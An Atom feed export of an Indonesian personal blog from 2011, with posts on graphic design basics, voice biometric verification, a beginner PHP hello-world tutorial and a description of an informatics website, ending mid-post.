<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4183972594340573458</id><updated>2011-12-05T07:45:31.912+07:00</updated><category term='My Artikel'/><category term='IBD'/><category term='Pemilu'/><category term='OpenKore'/><category term='Zeus Low Rate'/><category term='New Media'/><category term='Soft Skills'/><category term='WPE'/><category term='Ilmu sosial'/><title type='text'>Ido's Blog</title><subtitle type='html'>The Cheerfull Man</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>48</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-1559398117547260409</id><published>2011-10-17T21:33:00.003+07:00</published><updated>2011-10-17T21:46:45.774+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Soft Skills'/><title type='text'>Dasar Desain Grafis</title><content type='html'>&lt;div&gt;&lt;span class="Apple-style-span" style="background-color: black;"&gt;&lt;span class="Apple-style-span"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0.5em; margin-top: 0.4em;"&gt;&lt;span class="Apple-style-span" style="background-color: black;"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.5em; margin-top: 0.4em;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="background-color: black; font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;&lt;a href="http://1.bp.blogspot.com/-mxKSARwDpNQ/Tpw8mH_ZqYI/AAAAAAAAADQ/MOAk2CM32lA/s1600/graphic-design-is-lingua-franca.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="173" src="http://1.bp.blogspot.com/-mxKSARwDpNQ/Tpw8mH_ZqYI/AAAAAAAAADQ/MOAk2CM32lA/s320/graphic-design-is-lingua-franca.jpg" width="320" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;&lt;b&gt;Apa itu Desain Grafis?&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;&lt;b&gt;Desain grafis&lt;/b&gt; adalah suatu bentuk komunikasi visual yang menggunakan gambar untuk menyampaikan informasi atau pesan seefektif mungkin. Dalam disain grafis, teks juga dianggap gambar karena merupakan hasil abstraksi simbol-simbol yang bisa dibunyikan. disain grafis diterapkan dalam disain komunikasi dan fine art. Seperti jenis disain lainnya, disain grafis dapat merujuk kepada proses pembuatan, metoda merancang, produk yang dihasilkan (rancangan), atau pun disiplin ilmu yang digunakan (disain).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;Seni disain grafis mencakup kemampuan kognitif dan keterampilan visual, termasuk di dalamnya tipografi, ilustrasi, fotografi, pengolahan gambar, dan tata letak....&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;&lt;b&gt;Prinsip dan unsur desain&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;Unsur dalam desain grafis sama seperti unsur dasar dalam disiplin desain lainnya. Unsur-unsur tersebut (termasuk shape, bentuk (form), tekstur, garis, ruang, dan warna) membentuk prinsip-prinsip dasar desain visual. Prinsip-prinsip tersebut, seperti keseimbangan (balance), ritme (rhythm), tekanan (emphasis), proporsi ("proportion") dan kesatuan (unity), kemudian membentuk aspek struktural komposisi yang lebih luas.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;&lt;a href="http://www.mediafire.com/?b8xhz4bycsosl46"&gt;Bisa dipelajari Dasar desain grafis tersebut disini (.pdf)&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;&lt;a href="http://www.mediafire.com/?dmrd1qxal8eaie8"&gt;File dokumen dalam bentuk latex&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;Berikut ialah aplikasi yang sering dipakai dalam desain grafis :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;Adobe Photoshop&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;Adobe Illustrator&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;Adobe Indesign&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;Coreldraw&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;GIMP&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;Inkscape&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;Adobe Freehand&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;Adobe image ready&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;CorelDraw&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt;Sekian tulisan ini saya buat, apalabila ada salah mohon maaf ^^&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: large;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-1559398117547260409?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/1559398117547260409/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2011/10/dasar-desain-grafis.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/1559398117547260409'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/1559398117547260409'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2011/10/dasar-desain-grafis.html' title='Dasar Desain Grafis'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-mxKSARwDpNQ/Tpw8mH_ZqYI/AAAAAAAAADQ/MOAk2CM32lA/s72-c/graphic-design-is-lingua-franca.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-274149460213303234</id><published>2011-05-27T16:13:00.010+07:00</published><updated>2011-05-30T16:21:27.908+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Soft Skills'/><title type='text'>Biometrik Verifikasi Suara</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-L2e0xnFznRU/TeNgxAsag5I/AAAAAAAAADA/PDoK79x_rvM/s1600/111.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="171" src="http://1.bp.blogspot.com/-L2e0xnFznRU/TeNgxAsag5I/AAAAAAAAADA/PDoK79x_rvM/s320/111.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial, Helvetica; font-size: 16px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Metode itu menangkap suara dari speaker menurut sifat-sifat bahasa. Penggunaan utamanya adalah aplikasi keamanan berbasis telepon. Keakuratannya dapat dipengaruhi suara gaduh dan pengaruh penyakit atau kelelahan pada suara.&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica; font-size: 16px;"&gt;&lt;br style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="font-family: Arial, Helvetica; font-size: 16px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left;"&gt;&lt;span style="font-family: Verdana, sans-serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Satu masalah nyata dengan pengenalan suara adalah sistem dapat dikelabui oleh suara tape dari suara seseorang. Karena alasan itu, sistem suara lanjutan harus mampu memperluas atau memperpanjang proses verifikasi dengan memberikan perkataan-perkataan yang lebih sulit dan panjang, membaca dengan keras, atau meminta perkataan yang berbeda yang dibaca setiap waktu.&lt;/span&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica; font-size: 16px;"&gt;&lt;span style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;br style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" /&gt;&lt;br style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" /&gt;Sumber Jurnal&amp;nbsp;&lt;a href="http://www.google.co.id/url?sa=t&amp;amp;source=web&amp;amp;cd=5&amp;amp;ved=0CDcQFjAE&amp;amp;url=http%3A%2F%2Fjournal.ui.ac.id%2Fupload%2Fartikel%2F16917-17386-4-PB.pdf&amp;amp;ei=oVzjTYDRMsrIrQfo6oC_Bg&amp;amp;usg=AFQjCNH-opO_HW7_BrJJaZi1wGqDZFxUTg"&gt;Jurnal Biometrik&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-274149460213303234?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/274149460213303234/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2011/05/metode-itu-menangkap-suara-dari-speaker.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/274149460213303234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/274149460213303234'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2011/05/metode-itu-menangkap-suara-dari-speaker.html' title='Biometrik Verifikasi Suara'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-L2e0xnFznRU/TeNgxAsag5I/AAAAAAAAADA/PDoK79x_rvM/s72-c/111.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-7614363978534671028</id><published>2011-04-27T10:58:00.001+07:00</published><updated>2011-04-27T10:58:48.538+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Soft Skills'/><title type='text'>Membuat Website Dengan PHP &amp; MySQL</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-U0uwgRHUYzo/TbeUJClzh0I/AAAAAAAAAC8/oBidXy6aGwk/s1600/asdasdasd.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-U0uwgRHUYzo/TbeUJClzh0I/AAAAAAAAAC8/oBidXy6aGwk/s200/asdasdasd.jpg" width="197" /&gt;&lt;/a&gt;&lt;/div&gt;Bagi kebanyakan orang sebuah halaman web adalah sebuah halaman web, yang dibuka dengan browser dan menampilkan informasi. Ada halaman web yang menampilkan informasi yang tidak berubah dan ada juga yang menampilkan informasi yang selalu berubah atau informasi terbaru seperti berita. Halaman web yang menampilkan informasi yang tidak berubah disebut dengan halaman statis, yang relatif mudah untuk dibuat. Seseorang membuat document HTML secara manual atau menggunakan tool seperti dreamweaver dan meng-uploadnya ke server sehingga bisa dikunjungi oleh pengguna. Jika diperlukan perubahan maka tinggal menggantinya dengan yang baru.&lt;br /&gt;&lt;br /&gt;Halaman yang menampilkan informasi yang selalu berubah disebut dengan halaman dinamis. Halaman web dinamis juga di bentuk dari HTML tapi tidak sesimpel halaman statis. HTML ini dibentuk menggunakan bahasa pemrograman misalnya PHP, dimana informasi yang ditampilkan disimpan dalam sebuah "tempat penyimpanan", yang umumnya dalam sebuah database seperti MySQL. Website yang menampilkan halaman dinamis disebut website dinamis, misalnya website yang menampilkan berita sehari-hari yang tiap harinya menampilkan informasi yang berbeda. &lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;PHP adalah bahasa pemrograman yang didesain untuk menghasilkan halaman web secara interaktik pada komputer yang menyimpannya / mengeksekusinya, yang disebut dengan web server. PHP dapat di-embedded dengan HTML, yang artinya anda dapat menggunakan HTML di dalam PHP atau menaruh script PHP dalam HTML tag. PHP dijalankan di server untuk membentuk tag HTML, kemudian server mengirimkan halaman yang diminta oleh pengguna.&lt;br /&gt;&lt;br /&gt;MySQL adalah database manangement system untuk relational database atau RDBMS. Database secara ringkas adalah kumpulan data yang mungkin bisa text, bilangan, binari file, yang disimpan dan diorganisir oleh DBMS. MySQL adalah RDBMS gratis yang merupakan saingan dari RDBMS yang berbayar seperti Oracle dan Microsoft SQL Server.&lt;br /&gt;&lt;br /&gt;Walapun PHP sangat bagus dalam membangun website dinamis tetapi PHP tidak dapat menyimpan informasi pada dirinya sendiri. Karena PHP adalah bahasa pemrograman. Sehingga anda memerlukan database untuk menyimpan informasi tersebut. MySQL adalah salah statu pilihan dalam mengembangkan website dinamis dengan PHP. MySQL sangat mudah diakses menggunakan PHP.&lt;br /&gt;&lt;br /&gt;Apa yang Anda Perlukan untuk Membangun Website?&lt;br /&gt;Sebuah aplikasi web server, misalkan Apache, Abyss, atau IIS&lt;br /&gt;PHP&lt;br /&gt;MySQL&lt;br /&gt;Sebuah Browser seperti microsoft internet explorer, mozilla, opera, safari.&lt;br /&gt;Sebuah text editor (dalam membuat tutorial ini digunakan macromedia dreamweaver).&lt;br /&gt;untuk lebih mudahnya anda bisa menginstall XMAPP yang sudah berisi PHP, MySQL, dan Apache dalam satu paket. Dan XAMPP ini bisa didownload gratis. Cara menginstall dan Menggunakan XAMPP bisa ada lihat di &lt;a href="http://www.apachefriends.org/en/xampp.html"&gt;http://www.apachefriends.org/en/xampp.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Website Hello World&lt;br /&gt;Setelah semua kebutuhan di atas terpenuhi anda bisa memulai untuk belajar membuat website dengan PHP. Seperti pembelajaran bahasa pemograman lainnya tutorial ini akan dimulai dengan website hello world, yang akan menampilkan text "hello world". Seperti disebutkan di atas PHP dapat ditaruh dalam HTML tag. Untuk menambahkan code PHP dalam sebuah halaman, tempatkan code PHP di dalam PHP tag:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;lt;?PHP&lt;br /&gt;?&amp;gt;&lt;/blockquote&gt;&lt;span class="fullpost"&gt; segala sesuatu yang diletakkan di dalam PHP tag akan dieksekusi oleh web server dan text di luar PHP tag akan segera dikirim ke web browser sebagai HTML biasa. Tetapi anda harus ingat, &amp;nbsp;file yang berisi code PHP harus disimpan dengan ektensi .php agar web server mengeksekusinya sebagai php script. Untuk membuat website hello world ikutilah langkah-langkah di bawah ini:&lt;br /&gt;&lt;br /&gt;1. Buatlah document baru pada text editor anda (tidak masalah editor apa yang anda gunakan).&lt;br /&gt;2. Mulai dengan mengetik document HTML dasar seperti di bawah ini :&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="fullpost"&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;title&amp;gt;hello world&amp;lt;/title&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;p&amp;gt;Belajar PHP&amp;lt;/p&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;3. Sebelum penutup tag body (&amp;lt;/body&amp;gt;) tambahkan kode PHP di bawah ini :&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="fullpost"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;echo "hello world my name is PHP&amp;lt;br&amp;gt;This is generate using PHP ";&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Jadi hasil akhirnya seperti di bawah ini :&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;title&amp;gt;hello world&amp;lt;/title&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;p&amp;gt;Belajar PHP&amp;lt;/p&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;echo "hello world my name is PHP&amp;lt;br&amp;gt;This is generate using PHP";&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;echo digunakan untuk mengirim text / HTML tag ke web browser, text / tag HTML yang dikirim diletakkan dalam tanda petik dua ". PHP adalah case-insensitive jika yang ditulis adalah nama dari sebuah fungsi, jadi ECHO, eCho, dan echo semuanya akan berfungsi, tapi tentunya echo jauh lebih mudah dalam menulisnya bukan? setiap baris kode php diakhiri dengan tanda titik kome ;. Di atas, echo digunakan untuk mengirim text dan tag HTML "hello world my name is PHP&amp;lt;br&amp;gt;This is generate using PHP ". "hello world my name is PHP" dan "This is generate using PHP" adalah text dan "&amp;lt;br&amp;gt;" adalah tag HTML untuk membuat line break (enter).&lt;br /&gt;&lt;br /&gt;Simpan document tersebut dengan nama hello.php dan taruh pada direktori web server anda. Jika anda menggunakan XAMPP, anda akan menaruhnya di direktori c:/xampp/htdocs/&lt;br /&gt;Untuk melihat hasilnya, buka web browser anda dan ketik URL "http://localhost/hallo.php" atau "http://127.0.0.1/hallo.php". Anda harus menggunakan URL untuk melihat hasilnya, karena PHP perlu diekseskusi oleh web server. Anda tidak bisa hanya dengan membukanya di browser seperti mebuka document HTML. Jika anda sudah melakukanya dengan benar maka hasilnya akan seperti berikut:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Demikianlah Tutorial Membangun Website Dinamis Dengan PHP dan MySQL - Bagian hello world.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-7614363978534671028?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/7614363978534671028/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2011/04/membuat-website-dengan-php-mysql.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/7614363978534671028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/7614363978534671028'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2011/04/membuat-website-dengan-php-mysql.html' title='Membuat Website Dengan PHP &amp; MySQL'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-U0uwgRHUYzo/TbeUJClzh0I/AAAAAAAAAC8/oBidXy6aGwk/s72-c/asdasdasd.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-5894478925773609634</id><published>2011-03-28T19:02:00.000+07:00</published><updated>2011-03-28T19:02:45.876+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Soft Skills'/><title type='text'>teknik-informatika.com</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-k2ROW34G7_A/TZB4utykk6I/AAAAAAAAACI/IP3kuyGmHw8/s1600/abcde.jpeg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="112" src="http://1.bp.blogspot.com/-k2ROW34G7_A/TZB4utykk6I/AAAAAAAAACI/IP3kuyGmHw8/s400/abcde.jpeg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Pada kali ini saya akan menjelaskan tentang sebuah web science yaitu teknik-informatika.com, sebelumnya saya akan menjeleaskan tentang Web Science.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Web science : Ilmu pengetahuan yang telah diteliti dari Web yang muncul melalui desentralisasi sistem Informasi. Ilmu ini sudah ada sejak tahun 1990 yang di buat secara team yang diberi nama berners-lee. Pada jaman tersebut dikenalkan pertama kali yaitu web 1.0 yang masih bersifat read-only, kemudian dilanjutkan dengan generasi web 2.0 yang sifatnya bisa menulis dan membaca (read-write), sedangkan pada generasi web 3.0 itu hanya untuk mengembangkan hubungan antara manusia dengan manusia, manusia dengan mesin, dan mesin dengan mesin.&lt;span class="fullpost"&gt; &lt;br /&gt;&lt;br /&gt;Web tersebut membuat sebuah informasi untuk anak teknik informatika seperti bahasa pemograman, aplikasi pemograman, kabar terbaru tentang dunia informatika, jaringan dan lain lain. disini kita dapat bertukar pendapat tentang informasi yang kita dapat.&lt;/span&gt;&lt;div 